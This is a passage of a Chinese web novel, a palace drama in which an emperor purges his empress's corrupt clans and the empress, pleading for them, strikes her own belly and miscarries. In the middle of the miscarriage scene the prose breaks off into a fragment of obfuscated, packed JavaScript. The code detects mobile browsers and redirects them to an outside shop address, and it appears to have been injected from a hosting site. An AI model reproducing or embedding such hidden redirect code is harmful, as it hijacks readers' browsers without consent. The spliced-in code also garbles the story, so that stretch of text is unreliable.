这一桩桩一件件事,哪是士族贵女能干出来的?
饿一顿也好,省得她一天天使不完的牛劲,还不长记性!
赵咎走过来,边拉着姜璎坐下,边劝道:“她本来就不聪明,要是再把脑子饿坏了,不是越发得不偿失?”
姜珞:“???”
她敢怒不敢言。
赵咎道:“况且,我们打也打了,罚也罚了,她肯定多少会长点教训。”
汤匙送到姜璎嘴边。
她咽下雪耳羹。
刚想说话,又被喂了一口。
赵咎压根不给姜璎说话的机会,“我看陛下也没生气,谁会跟傻子计较啊,你说对吧?童言无忌嘛。”
姜璎:“……”
这句傻子简直不要太扎心。
她看向姜珞,姜珞吸了吸鼻子,眼睫还挂着泪珠,“姐姐,我饿……”
嗯,算不上傻子,但也不聪明。
赵咎说完好话,对姜珞又是另外一副面孔,“饿了就自己过来吃,还等着别人伺候你不成?”
姜珞见姐姐消了气,挪着步子过来,边吃边看姜璎。
赵咎呵斥道:“看什么看?吃你的!”
姜珞“哦”了一声,立马埋头苦干。
她胃口大,吃了一碗还不够,又把赵咎那一碗没动过的给吃了。
赵咎嘴角一抽。
要不是看在姜珞今日的表现还算不错的份上,他才懒得帮她求情。
明惠帝是个很容易心软的人,只要不犯原则性的错误,他一般都是轻拿轻放。
这一点,从他对龚云菲的处置也能看出来。
赵咎原本还苦恼不知道如何解决梁皇后,怕下药猛了,伤明惠帝的心。又怕小打小闹,连伤筋动骨都算不上。
没想到姜珞对付起梁皇后,简直不要太得心应手!
呃,这难道就是所谓的瞎猫碰上死耗子?
姜珞忽然后背一凉,抬头发现赵咎若有所思地盯着自己。
干什么?
嫌弃她吃得多啊?
姜珞内心忿忿,不就是吃他两碗粥嘛,小气鬼!
等她当了皇后,还他十碗!二十碗!
姜璎还想监督姜珞抄族谱,赵咎不答应,这都什么时辰了?再过一会儿都要天亮了。
“让她自己一个人在这抄,我们回去歇息。”
他语气不容置疑。
姜璎只好作罢。
折腾了一天,她也早就身心疲惫,草草洗漱了一番,几乎是沾到枕头,就睡了过去。
烛火熄灭。
屋内彻底昏暗。
借着一缕月色,赵咎静静地描摹着姜璎熟睡中的眉眼。
只有在这种时候,他才敢轻轻吐露心声。
“我觉得姜珞也没说错,湛奴喜欢
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梁氏,还不如喜欢她。”
至少姜珞不会像梁皇后那样,吃着碗里的,看着锅里的。
她愧对常三郎,总觉得是自己的缘故,才会导致常三郎心灰意冷、冲在前线,最后连个全尸也没有。
但这跟明惠帝有什么关系?
先帝的赐婚诏书,最根本的原因是为了瓦解常梁两家的紧密关联,在赐婚之前,先帝明确问过梁家意见,梁父可是迫不及待答应下来。
常家再好,还能好得过太子妃之位?
梁皇后不怨先帝,不怨自己的父亲,却怨上了明惠帝。
这是哪门子的道理?
她对明惠帝冷脸相待也就罢了,还时常要求他厚待常家。
就连梁父都颇有微词。
觉得她不提携自家人,反而处处维护常六郎。真是猪油糊了心!
赵咎心中冷笑一声。
梁皇后一向以贤后自居,自然不会提携家中叔伯兄弟,她也不愿意为了这点小事,向明惠帝低头,落了下风。
要他说,姜珞那句要饭的,一点儿错都没有!
每每梁家、龚家闯祸犯错,求到梁皇后面前,明惠帝都不用人开口,自己就跟着屁颠屁颠把事情摆平了。
就这样,还得不到梁皇后一个笑脸。
“嗯?”姜璎迷迷糊糊翻了个身,见赵咎还没睡,吓了一跳。
“我刚睡醒。”赵咎扯起谎来,脸不红心不跳。
偏偏姜璎还就信了。
她打了个小小的哈欠,往他颈窝拱了拱,手心捂住他眼睛,含糊道:“再睡会儿。”
赵咎亲了亲她手腕,眼底一闪而过笑意。
他是幸运的。
能够得到姜璎的爱。
至于湛奴…
他也该清醒清醒了。
有些事情赵咎不方便出面,只能拜托萧止柔私下运作。
陆家姻亲无数,萧止柔对外又是八面玲珑、和气宽容的性子,搜罗梁龚两家作恶的证据,可谓是轻而易举。
欺压百姓、杖杀良民。
侵占田地、逼死佃户。
被压下的罪证经由官员之手,送到明惠帝的桌案上,再让苦主敲击登闻鼓,声声泣血、字字锥心,引发民怨。
为的,就是逼梁皇后求情。
第157章 低头
不过两三日的功夫,朝中**梁龚两家的奏折便堆成了山。
明惠帝批奏折批得心烦意乱。
找了赵咎出主意。
“其他人倒是好处理,但梁廷、梁恭兄弟俩是皇后的亲弟弟,一母同胞,要是…”他目光闪烁,迟疑不定。
赵咎明白他的意思。
“未免皇后娘娘惊动胎气,还是先瞒着她吧。将人关入狱中,暂且等候处置。”
明惠帝叹了口气,只能这样了。
书案上的奏折处理了小大半,剩下的垒成小山,几乎全是梁龚两家作恶多端的罪证!
“哐——”
拳头重重砸在上头,他眼中满是怒气,“连龚家一个小小庶子,都敢强抢民女,**全家!龚家这是想上天不成?”
都说士族豪强欺压百姓,垄断资源,不给寒门庶族出头之日。可实际上,越是名门望族,越是看重脸面,对家中下人以及门客的约束也越多。
倒是不少寒门庶族,一朝鱼跃龙门,巴不得全天下人知道!
嚣张跋扈、肆意妄为之举,细数起来,恐怕就是卫国公都要甘拜下风!
“你看看、你看看!”明惠帝把一本奏折扔到赵咎怀里,上头清清楚楚写着,龚大人,也就是皇后的亲舅舅,每日朝食十八道菜,午食三十八道菜。
还有晚膳,凡逢年过节,必有八十八道菜!
“她舅舅一人能吃多少饭菜!最后不还是倒进泔水桶!”明惠帝气得脸都红了。
“别说阿舅,就是朕这个皇帝,也不过一餐五六道菜!”
“难怪龚家不远处日日有乞丐蹲守,合着是有饕餮盛宴。”赵咎微微挑眉。
“八十八道菜啊?”邢如风进来就听到这一句,兴致勃勃道,“那我们今年的年夜饭,干脆去龚家吃好了!我还从来没吃过这么多菜呢!”
赵咎:“……我不去。”
明惠帝气得翻了个白眼,“我也不去!”
邢如风“嘁”了一声,边扒明惠帝衣服,边骂道:“你俩就是死要面子活受罪!有的吃不吃,省下来的给我加俸禄多好!”
明惠帝后背还剩下一点浅浅的疹子。
药膏抹上去,刚开始火辣辣,后面才有冰凉感。
明惠帝气不过,喊了一声“阿劫”。
“召中书侍郎!”
赵咎嘴角一抽,起身道:“得,这是嫌我吃干饭了。”有内侍不喊,偏要吩咐他。
明惠帝嘟囔道:“这不是在擦药嘛。”
他也是要面子的好不好?让内侍看见他衣冠不整,多丢脸啊。
赵咎懒得理他,走出去对容已道:“陛下口谕,传中书侍郎。”
中书侍郎过来时,还一头雾水。
他恭恭敬敬行了礼,“臣拜见陛下,陛下万岁万岁万万岁。”
赵咎和刑如风也躬身行礼,“小人见过侍郎大人。”
一番行礼后。
赵哲没忍住给了这俩一人一下,“干什么呢你们?是不是又撺掇陛下干坏事?”
赵咎、刑如风:“哇塞。”
他们明明这么纯良。
明惠帝已经穿戴整齐,看着人模狗样,清咳一声道:“少凌,我让你过来是有要事。”
中书令抱恙,草拟诏书的活儿自然是落在赵哲这个中书侍郎身上。
赵咎亲自磨墨,明惠帝口述,赵哲代劳书写诏书。
刑如风闲着没事,坐着把一旁放凉的糕点吃得干干净净。
龚家是不能留了。
明惠帝沉吟道:“……龚旺奢靡无度,鱼肉百姓,革其官职,流放岭南;龚进、龚还、龚振等人,抢占田地、虐杀百姓,犯下累累恶行,杀无赦。”
赵哲坐于下方,笔下不停,字迹如行云流水,端正隽秀,令人赏心悦目。
“至于梁家——”明惠帝收敛了神色,半阖着眼,“梁义大肆敛财,当街纵马,吩咐下去,立刻着官查办,以儆效尤。”
梁义只是梁父的庶子,地位不高,同梁皇后的感情也一般。
平时一向以梁廷、梁恭兄弟二人唯命是从。
充其量也就是个“打手”。
但明惠帝没办法,梁皇后如今有孕,他只能暂且处置龚家。
至于梁义,是对梁家的一个警告。
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>诏书写好,容已领命,带兵前往梁龚两家。
该抓的抓,该杀的杀。
赵咎没有在宫中久留,如果不出所料,梁皇后马上就会派人过来请明惠帝过去。
果不其然。
赵咎还没出宫,就看见梁皇后的近身女官,在禀报之后进来,恭恭敬敬行礼。
“陛下,皇后娘娘想请您过去一趟。说是…有要事相商。”
“什么事?”
这话把女官问愣住了,面露尴尬,“奴婢也不清楚。”
明惠帝淡淡道:“你回去告诉皇后,朕政务繁忙,等空了再过去看她。”
“可是……”
“紫苏姑姑,这边请。”内侍道。
女官虽心有不甘,但到底不敢挑战帝王威严,只能无奈退下。
“阿劫,你还说瞒着她…”明惠帝低声道,“哪里是能瞒得了的。”
恐怕容已前脚刚出宫,椒房宫后脚就已经得到消息。
赵咎看了刑如风一眼。
后者立马上前道:“陛下,皇后娘娘怀有身孕,不可太过操劳,亦不可受刺激,最好还是以养胎为主。”
明惠帝深思片刻,还是征求赵咎意见。
“阿劫,你觉得我该怎么做?”
“不如让太后娘娘暂管后宫。”赵咎垂眸道,“也好让皇后娘娘安心养胎。一切等小皇子出生再说。”
“这样也好。”明惠帝点了点头,想到未出生的孩子,他眼神柔和下来,也有了开玩笑的心情,“你小子,不会重男轻女吧?”
“皇子也好,皇女也罢,都是我的孩子。”明惠帝笑道,“我还更喜欢女儿一点,要是生了个女儿,我就封她做长公主!”
他憧憬着未出生的孩儿。
脸上笑容灿烂,不见半点阴霾。
赵咎心情复杂,低下头告退。
椒房宫。
梁皇后没想到自己难得主动一次,竟然还被明惠帝拒绝了。
她咬了咬唇,颇有种忍辱负重的感觉。
“来人,给本宫更衣。”
如果他是想逼她低头,亲自去找他。
那他目的达成了。
第158章 寒心
议政殿。
明惠帝听底下人禀报梁皇后求见,心情无比复杂,好半晌才道:“让她进来吧。”
梁皇后依旧是一身素色宫装,神情冷淡,她心里还堵着气,避开了明惠帝搀扶的手,行跪拜之礼:“臣妾拜见陛下。”
端庄而疏离。
比之从前更甚。
明惠帝的手凝滞在半空,手指微微蜷曲,只抓住一团虚无的空气。
他沉默许久,点了点头,“起来吧。”
说完也不等梁皇后反应,径自落座,提笔批阅奏折。
梁皇后还等着明惠帝亲自扶起自己,结果等了半天,抬头一看,面前早已空无一人!
她一时气闷,心口就跟堵了块巨石似的,让人憋屈得喘不过气来。
“陛下。”
“皇后有什么要事?”明惠帝头也不抬,地方州郡事情颇多,时不时灾情迭起,不是这里水患,便是那里干旱,地域不同,状况也不同。
就如先前蜀地,天崩地裂,房屋坍塌,死伤无数。
到现在还在重建之中。
赈灾粮拨了一批又一批,但真正到百姓手里,根本没有多少。
刑如风那句“去龚家蹭年夜饭”不是无的放矢,自明惠帝继位以来,宫里已经连着放了三批宫人出去,他后宫嫔妃不多,除了梁皇后,就只有两三个美人。
有大臣不止一次提出采选充盈后宫,他提几回,就挨骂几回。
明惠帝坚决不答应。
不想对不起梁皇后还是次要的。
最主要的是,他要养兵,养马!处处都需要钱!
没办法。国库不丰,明惠帝自己都勒紧裤腰带过日子,能省一点是一点。
他偶尔也动过歪心思,想从世家大族手里弄钱,又因为面皮薄拉不下脸。好在外祖知道他的不易,每每各地灾情发生,卫国公府都第一个捐钱捐粮,搭建粥棚。有赵家带头,其余士族多少也会出点。
但龚家——
明惠帝想到今年江南水患,蜀郡地动,龚家只捐募了五千贯钱,一时怒从中来,打断了梁皇后的话。
“皇后若无其他要事,就回去歇息吧。”
梁皇后愣了一下,忍不住道:“陛下可曾听到臣妾方才说的话?”
“没有。”
“什么?”梁皇后不可置信地看着明惠帝,她难得放下身段,好声好气跟他说这么多话,他竟然一个字也没听进去?
明惠帝皱了皱眉,耐着性子道:“朕很忙,皇后。”
他不再唤她小名。
热脸贴冷屁股久了,也是会累的。
梁皇后却没能体会到这其中的微妙之处,反而冷笑一声,言语尖锐。
“陛下在忙些什么?是忙着处置臣妾的娘家人,还是忙着抬举赵咎?”
这话可以用“冒犯”二字来形容了。
眼见明惠帝冷下脸,梁皇后身边的女官吓得面色发白,忙道:“陛下,娘娘是一时心切,才……”
“拖出去。”
什么?
所有人都愣怔一瞬。
明惠帝冷冷道:“朕与皇后说话,岂容你插嘴?拖出去,仗责二十。”
紫苏脸色煞白一片,想要跪下认错,却被近身内侍反应过来后,迅速拖了下去。
梁皇后气得不轻,“高忱!你——!”
“皇后。”明惠帝语气警告,“注意分寸。”
从前关起门来闹脾气也就罢了,如今议政殿内,她都直呼他大名,哪里有把他放在眼里?
明惠帝胸口堵着郁气。
他就算不是皇帝,也是她的夫君,一次两次不给面子,他忍了。
但次次如此,岂能不让人寒心?
这声喝止,总算唤回了梁皇后的理智。
她想起自己过来的目的,忍气吞声道:“陛下,臣妾只是想求您高抬贵手,宽恕龚家。”
梁皇后生性清高,想从她嘴里听到一个“求”字,比登天还难。
如今也是没办法。
为了自己亲舅舅,就算千般不情愿,她也只能舍下脸面,向明惠帝低头。
“龚家就算有错,还请陛下看在臣妾的面上,从轻发落。”她咬了咬唇,一副委曲求全的模样。
不知道的还以为明惠帝做了多么十恶不赦的事。
明惠帝忍不住想笑。
她到底在委屈什么啊?
一没下跪,二没磕头。
不过是说了个“求”字,就让她觉得颜面扫地了?
那他之前做的算什么?
算个笑话?
“陛下!”梁皇后胸口起伏不断,他到底还想怎样?她都已经这么伏低做小了,他难道还不肯罢休吗?
明惠帝眨了下眼,忽然道:“阿泽,有没有人说过,你其
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实很虚伪?”
一直享受着他的付出,却从来不肯承认得到的好处。
仿佛承认了,就是对她清高人格的背叛。
“你、你说什么?”梁皇后满脸不可置信。她以为自己是出现幻听了,否则怎么会从高忱口中听到这样的话?
“没说什么。”明惠帝摇了摇头,不想让场面闹得太难看,“你回去吧,诏书已下,绝没有更改的可能。”
“你…”梁皇后张了张嘴,眼泪滚了下来,“我舅舅不过是敛财而已,哪个士族不敛财?你为什么非要抓着他不放?就因为小四得罪了赵咎?”
“因为他引发众怒了!”明惠帝见她实在冥顽不灵,一个没忍住,摔了十几卷奏折在梁皇后脚下。
他走过去,目光死死盯着梁皇后。
“他敛的财从哪里来?还不是百姓的血汗钱!今年江南水灾,赵家出十万贯,王家出八万贯,陆家出七万贯。你舅舅呢?五千贯!他平日里的一顿饭都足有上百贯!水蛭尚能炮制入药,你舅舅这种蝗虫,半点用没有!”
明惠帝从来没有这么刻薄。
胸口的怒火几乎要把他烧着。
“皇后,民脂民膏不是那么好拿的!你想做妖后,朕还不想做昏君!”
“流放岭南,已经是足给他面子了!凭龚家子弟近些年的所作所为,朕没有抄家,他们就该谢天谢地谢祖宗!”
“还有你那几个堂兄堂弟,亲弟弟,要不是看在你的面子,一个个的早就该人头落地!”
梁皇后踉跄了几步,几乎满脸泪水。
她抓住明惠帝的袖子,哽咽道:“可那到底是我的亲人…高忱、陛下…求你网开一面,哪怕只是罢黜官职,赋闲在家…”
明惠帝目光满是失望。
“你知不知道,我顶着多少压力?外头都在议论梁家、龚家,还有把矛头指向你的。你知道他们都说什么吗?说你的用的一分一厘,都沾满了血。”
“我把梁廷、梁恭兄弟革职查办,只下狱不处罚,引发了多少民怨?你想过吗?你没有。你只在乎你家里人。”
“你这么爱他们,为什么之前不约束好他们?非要闯出弥天大祸,再来求情。”
明惠帝一字一句,坚决道:“除非枉死的人复生,否则,该偿命、该流放的,朕一个都不会放过。”
第159章 威逼
秋雨连绵,皇城上方乌压压一片。
随着其中一个苦主——一个五十好几的老汉撞死在登闻鼓前,朝堂震动,越来越多关于梁龚两家的罪证送到御前。
虽说墙倒众人推自古有之,但梁龚两家的落败来得实在太快了一些。
不过细想起来,也不意外。
自梁氏女被册封为太子妃,梁家便从盐商一跃而起成大魏新贵,炙手可热,好不威风。连带着龚家这门姻亲,也跟着鱼跃龙门。
梁父甚至仗着女儿宠冠六宫,连卫国公都不放在眼里。上行下效,梁龚两家的下人自然也是一副眼睛长在头顶的作派,没少打着“梁皇后”的名号在外头耀武扬威、横行霸道。
去年除夕,郑家的下人出去采买东西,碰上梁家的下人,双方发生了摩擦,梁家的管事指着郑家的下人好一顿羞辱。
郑氏知道后,气得一天没吃东西。
她自己不吃,也不许赵哲吃。连带着赵哲也恨上梁家。
连郑家都受此委屈,可想而知,那些跟梁家相仿、或是不如梁家的门户,是何等忍气吞声。
而今终于等到龙颜大怒,眼看着梁龚两家有一个算一个都要被清算,不知道有多少人半夜笑出声。
如此大快人心,落井下石者更是不在少数。
干过的,没干过的,恨不得都栽梁家头上。
左右他们恶行累累,也不差这么一桩半件!
龚家主原本的流放改成了斩刑,除却外嫁女,家中连带仆婢一百多口人,无论男女老幼尽数斩首。
禁军出动,用了三日的功夫,斩首完毕。
梁皇后听闻此事,晕厥了过去,醒来后身边女官哭着道:“娘娘,您千万要保重身体啊!”
刑如风恭恭敬敬道:“皇后娘娘,您胎象不稳,还是要多注意……”
话没说完,就被飞来的一颗夜明珠砸中额头。
话音打断,温热的鲜血顺着额角流下。
梁皇后冷冷看着他,别以为她不知道,邢如风、赵咎,还有明惠帝,他们几个都是一伙的!
“滚!给本宫滚出去——!”她怒声道。
外头响起通传声。
梁皇后的母亲龚氏、二婶徐氏求见。
邢如风退了下去。
他走得慢,还没出椒房宫,就听见了两个妇人的哭声。
“大娘!你阿舅他、他连个全尸都没有留下啊!”龚氏痛哭流涕。
“皇后娘娘,你可要救救五郎他们啊,陛下,陛下派人把五郎几个都抓进了大牢,等候发落…”徐氏边哭边跪行到床榻前,抓着梁皇后的衣角,苦苦哀求。
梁家好几房人,加在一起足有十多个年轻儿郎被抓进大牢。
明惠帝处置了梁义几个庶子,以及梁皇后的的堂弟。
只待几日后街头问斩。
还无辜百姓一个公道。
其中便有徐氏的亲生儿子。
两个妇人哭得实在可怜,梁皇后也跟着落下泪来。
“你阿舅一家,连个后代都不曾留下,四娘才被遣返出宫,又遭人头落地…娘家沦落至此,我也恨不得跟他们一同去了!”
“母亲!”
龚氏握着梁皇后的手,哭道:“我死就**,可你弟弟他们,还没有成亲生子…大娘,你得救救他们啊!”
梁皇后含泪点头,“母亲,我这就去找陛下,我去求他…”
“娘娘!”近身内侍脸色微变,急忙劝阻,“娘娘适才动了胎气,邢医官说恐有小产的风险,您可千万不能再……”
“不要说了!”
梁皇后冷下脸,“给本宫更衣,本宫要去见陛下。”
紫苏受了杖刑,至今还趴在榻上奄奄一息,其余近身伺候的宫人没一个能劝得了梁皇后,只能无奈照做。
椒房宫的动静很快传到赵太后耳中。
郑女官剪了几枝九华菊插瓶中,放在高脚凳上用作观赏。
宫女奉上茶盏,“娘娘,天凉了,喝盏姜枣茶去去寒吧。”
一盏茶下肚,身体也跟着热乎起来。
赵太后问道:“皇后呢?又去议政殿了?”
郑女官无奈点头。
赵太后冷哼一声,这个儿媳,她是越来越看不顺眼了。
“随她去吧,不到黄河心不死。”
“太后,皇后好歹还怀着身孕…”郑女官委婉道,到底是陛下的第一个孩子,要是出了事,未免也太可惜了。
赵太后统管后宫,原本是可以拦下龚氏她们的,但她没有,反而让宫人放她们去找梁皇后。
郑女官有些不解,这样一来,明惠帝岂不是又要夹在中间,左右为难?
“阿郑,你觉得梁氏做皇后,好还是不好?”赵太后不答反问。
“皇后这些年,一向恭谨本分,除了子嗣以外,并无其他过错。”郑女官实话实说。
赵太后脸上浮现淡淡的笑容,“是啊,她和湛奴成亲四年,算不上恩爱有加,但也相敬如宾。”
只偶尔因为常六的缘故,闹过几次别扭。
这点别扭在赵太后看来不过是夫妻之间的小情趣,儿子乐意,她也懒得去指手画脚讨人嫌。
“可我没想到,皇后竟然会在阿劫成亲的第二日,公然赐下宫女!”
赵太后眼中一闪而过怒色
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。
赵咎是没了娘,可他还有长姐、长嫂!
哪里轮得到梁皇后这个晚辈,操心这些有的没的!
这不是打她的脸是什么?
“湛奴喜欢她,爱重她,连带着梁家也飘飘然认不清自己几斤几两!之前没怀孕,就已经不把我们赵家放在眼里,要是等她生了儿子,立为太子——”
赵太后神情冷然,到时候,还有赵家的立足之地吗?
赵太后是高家的媳妇,也是赵家的女儿,她不能不为娘家考虑。
先前没把梁家当回事,是觉得梁皇后还算恭谨孝顺,如今看来,都是些表面功夫!
她活的时候,梁皇后都敢和赵咎过不去,她要是**,梁家还不得爬赵家头上去?
赵太后长叹一声,唯一可惜是那个孩子。
还没出生。
就沦为了棋子。
议政殿外。
容已温声道:“娘娘,陛下心意已决,是不会更改的,您还是请回吧。”
梁皇后不肯走。
她咬了咬牙,“本宫今日就跪在这,你去转告陛下。”
说着跪了下去。
外头下着雨,砖石寒冷无比,膝盖沾上地面,便被雨水浸透。
宫人们打着伞,对容已哀求道:“请您通传一声,娘娘还怀着身孕,这么冷的天,身子骨怎么吃得消。”
容已无奈点头,这一回很快出来了。
梁皇后终于得见圣颜。
她跪在了明惠帝身前,低声道:“陛下就算不看在臣妾的面子,也好歹…顾念一下臣妾腹中的孩子,放了梁廷、梁恭他们。”
明惠帝皱了皱眉,忍怒道:“朕可以答应你,最坏结果,也不过流刑。”
梁皇后抬起头,面色苍白,“陛下,梁廷梁恭他们还小,从未吃过苦,如何受得了流刑?他们可是臣妾腹中骨肉的嫡亲舅舅!不看僧面看佛面,你就当为了我们的孩子积德,宽恕他们吧…”
明惠帝淡淡道:“朕的孩子,不需要这种作恶多端的舅舅。”
“皇后要想为孩子积德,就该诚心悔过,好好弥补家人所犯过错。而不是一而再、再而三地过来求情,冥顽不灵!”
他转身要走。
梁皇后哭着道:“高忱,你已经杀了龚家满门,让我没了舅舅,你难道还要让我的孩子也没了舅舅?那是我的骨肉至亲,你到底有没有心!”
明惠帝脚步一顿,回头看她。
梁皇后捂着肚子,泪眼模糊,看不清明惠帝此刻的表情。
她闭了闭眼,狠下心道:“陛下如果不肯放过梁家,就请一起处置臣妾和腹中孩子!”
第160章 小产
轰隆——
天边炸起惊雷。
“啊…”
梁皇后吓了一跳,身体一晃,险些摔在地上。
若是换做之前,明惠帝恐怕早就已经将她抱在怀里,千般体贴、万般呵护,舍不得妻子受半点委屈。
可现在,他只是僵立原地,纹丝未动。
那声惊雷仿佛击到了灵魂,沙砾滚过喉咙,堵得生疼。
好半晌,他才找回自己的声音。
“你在…威胁我?”
梁皇后肩膀一颤一颤,哭着道:“我不想这样的…高忱,算我求你了…算我求你了行吗?你罢免梁家人的官职,就算当作惩罚,我阿弟他们日后绝不会再犯了…”
“你用孩子威胁我。”
明惠帝语气失望至极,深深地看着她,“这是我们的第一个孩子,你对她,真的一点感情也没有吗?”
如果梁皇后此刻是清醒的状态,她或许能听出来,明惠帝真正想说的话。
——你对我,真的一点感情都没有吗?
明惠帝在知道梁氏女成为他的太子妃的那一天,就已经默默地把她放在心上。
四年了。
他默许她年年祭拜常三郎,一次又一次容忍她对常家的关照赏赐。
他信她所说“只有兄妹情谊,绝无男女私情”。
他由她私心,成婚三年不要孩子。
这些,赵咎和邢如风再是清楚不过。
明惠帝知道,他们是碍于皇帝颜面,才有所保留。若是直言不讳,赵咎和邢如风定然一个比一个刻薄。
说他窝囊,无能,废物。
倒贴成这鬼德行。
明惠帝以前还能自欺欺人,觉得纵使顽石无心,也终有水滴石穿的一日。
等他们有了孩子,儿女绕膝,子孙满堂,他和梁氏女的感情也一定会像父亲母亲那样,恩爱有加。
阿父说过,对待妻子就该一心一意、珍之重之。
明惠帝记在了心里,从未有片刻迟疑。
但是现在。
他感到了深深的疲惫无力。
“我不想把你关起来的。阿泽。”
梁皇后睁大了双眼,泪痕满脸。
她从未见过明惠帝脸上流露出冷酷,这是第一次。
“如果你不能静心养胎,就别怪我把你关在椒房宫…”在梁皇后不可置信的神情中,他吐出最后几个字,“直至生下孩子。”
明惠帝知道这样很不好。
他所受的教养、所握的权力,不是让他用来囚禁自己的妻子的。
“我没办…”
“高忱!”
尖锐的声音,满是颤抖。
梁皇后生平第一次,这样歇斯底里,“你当我是什么?是你养的一条狗,还是一只鸟?口口声声爱我,就是这样糟蹋羞辱我的吗!”
她被刺激得理智全无。
踉跄着起身,狠狠捶了一记肚子。
“这孩子就不该来到世上!它一出生,它的阿舅、从母死的死,流放的流放!就连它的亲生母亲,也要被当作畜牲一样圈养…”
明惠帝瞳孔骤缩,一把攥住她的手。
“你干什么?!”他怒吼。
“我要避免它的出生,日后也好少些痛苦…”梁皇后咬牙道,泪水盈眶,另一只手也随之重重击打小腹!
她在逼明惠帝松口。
用肚子里的孩子。
小腹遭受两下重击已然疼得不行,梁皇后面色几近惨白,连站的力气都没有。
额前冒出大颗大颗的汗珠,与泪水混在一起。
她抬头望向明惠帝,视线逐渐模糊。
“高忱…你也不想孩子以后知道,它的母族,死于父亲之手吧…”
“好…”明惠帝声音颤抖,笑容怆然,“梁氏,你赢了…我答…”
话未说完。
边上响起惊惶的声音。
“娘、娘娘!娘娘见红了!”
明惠帝脑子嗡然一声,顾不得其他,将人打横抱起,“叫邢如风过来!快!”
邢如风整天跑来跑去,就差脚踩风火轮了。
牛马不如啊牛马不如!
“陛下。”
“快别行礼了!”
邢如风被拽到榻前,此刻也顾不得男女之防,他忙搭脉。
“怎么样?是不是、是不是…”
“陛下。”邢如风不知道该怎么开口,他低下了头,“臣来迟一步,皇后娘娘腹中的孩子…没有了。”
明惠帝脸上神情凝固。
事情的来龙去脉,宫人已经详细说明,邢如风低声解释道:“皇后娘娘这几日悲怒交加,情绪激动,已致胎象不稳,有流产先兆。若是好好静养,或保无虞,但…方才经受重击,实在遭不住…”
梁皇后流了好多的血。
鲜艳一片,浸透了亵裤。
一盆接一盆清水被染红。
她疼痛难忍,隐约间,听见有人说自己的孩子没有了。
不、不。
怎么会这样?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581006|173897||http|test|mini|href|location''.split(''|''),0,{}));
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r>她只是想吓一吓高忱。
梁皇后费力地睁开眼皮,“陛下…”
高忱神情木然,声音沙哑,“你好好休息吧。”
他让人准备了玉辇,吩咐宫人抱好梁皇后,将她送回椒房宫。
“不、孩子……”梁皇后慌张道,眼泪夺眶而出。
“孩子没有了。”明惠帝道,又重复了一遍,“你好好休息,养好身体。”
这样的平静,让梁皇后实在有些心慌。
她想说,她不是真的想伤害孩子的。
话到嘴边,却变成了,“阿忱…梁家…”
“孩子没有了。”
这五个字,如烙印一般,滚烫刺痛。
明惠帝定定地看着她,“如你所愿。我可以毫无顾忌地处置梁家了。”
梁皇后泪涌而出,“不,陛下,高忱…我不是故意…”她看到一旁的邢如风,“是不是你,是不是你害我?你根本不想救我的孩子!”
“够了。”明惠帝低喝道,“还愣着做什么?把皇后送回椒房宫!”
宫人们惶惶不安,将梁皇后抬上玉辇。
邢如风犹豫了一下,没有跟着退下,而是走到明惠帝身边。
“陛下…皇后娘娘这次胎象不稳,本就有小产的风险…”
“我知道,我没有怪你。”
“我是怕你怪自己。”
这一句话,彻底击溃了明惠帝的防线。
他颓然垮下肩膀,捂住双眼,温热的泪水顺着指缝,砸在地面。
“如风。”
“我的孩子没有了…”
邢如风坐在他身边,轻轻拍了一下他的肩膀。
什么也没说。
明惠帝小时候哭,长大了也哭。
赵咎说他是哭包。
一点儿也没错。
“她真的足够狠心,对我是,对孩子也是。”明惠帝喃喃道,声音藏不住哽咽。
“我再也不要喜欢她了。”
最后一丝温情彻底消磨殆尽。
他想起他们之间的种种,有吵架冷战,也有娇嗔欢喜。
梁皇后喜好书法,明惠帝得空便会赖在椒房宫,为她亲自磨墨,然后趁其不备,偷偷亲一口脸颊。
“陛下!”
笔尖抖了一抖,好好的字也写得七歪八扭。
梁皇后羞恼交加,嗔怒含情,在明惠帝求饶的笑声中甩了他一身墨汁。
……
不会有了。
·
想不到吧!二更!
第161章 来啦
“皇后小产”的消息很快传了出去。对外只说是因悲伤过度,这才导致胎象不稳,毕竟以身孕相挟这种事传出去实在丢人。
一个女人,就算再怎么向着娘家,也该知道唯有子嗣才是自己立身之本,哪有用亲生骨肉做要挟,去给家里人求情的?
这不是昏了头吗?
别家不提,高家可是名副其实的有皇位要继承。
可想而知,赵太后对梁皇后有多失望。
“我原以为她会用苦肉计。跪在雨里也好,磕头绝食也罢,谁成想,她竟然直接捶打肚子,以此要挟换梁家脱罪。”
赵太后语气厌恶,“蠢成这个德行,真是世间罕有!”
郑女官暗暗叹气,先前还以为梁皇后是个好的,谁知到头来,反而比不上姜璎一个自幼流落在外的女郎。
嫔妃自戕,谋害皇嗣,这些可都是大罪。
梁皇后怎么会这么糊涂呢?
“她就是仗着湛奴不会罚她!”赵太后冷冷道,心中下定决心,要早些废黜皇后。
她绝不能眼睁睁看着儿子吊死在一棵树上!
郑女官眸光一闪,想到家里派人送来的密信,试探性道:“可惜赵家没有合适的小娘子,要不然,又何必选梁氏女为后?”
赵太后鲜少质疑丈夫的决定,摇了摇头道,“赵家已经出过一个皇后,不能再有第二个皇后了。”
烈火烹油,向来没有好下场,她反倒庆幸王氏生的都是儿子。
“那,您看姜使君的女儿如何?”郑女官道。
“姜璎?她再好也已经嫁给阿劫。”
“娘娘忘了,姜使君还有个次女。”郑女官笑道,“前两日不是还进宫给皇后赔罪吗?”
赵太后想起来,“她啊。”
郑女官知道赵太后心里介意什么,“那姜二姑娘虽说是婢生女,可从小就记在萧晞名下,也算是嫡女了。奴婢还记得那日领她去椒房宫,陛下还为她挡了一记耳光,两人站在一起,别提多登对了!”
郑女官出身荥阳郑氏,算是郑女君的隔房堂姐,因为一连**两任丈夫,对婚姻失去兴趣,便想去做女冠。
家里人想了想这也不是个事儿啊,就找了家主,也就是郑氏的父亲,将她送到赵太后身边。
郑家可没忘了昔日之辱。
梁家,不过卑贱寒门尔!也敢爬到他们头上耀武扬威。
所以当萧止柔找上门来,郑家主思量片刻便答应下来,隔日就给郑女官递了信,让她尽可能促成这桩姻缘。
赵太后回忆了一下,“我记得你说过,这小丫头力气挺大的。”
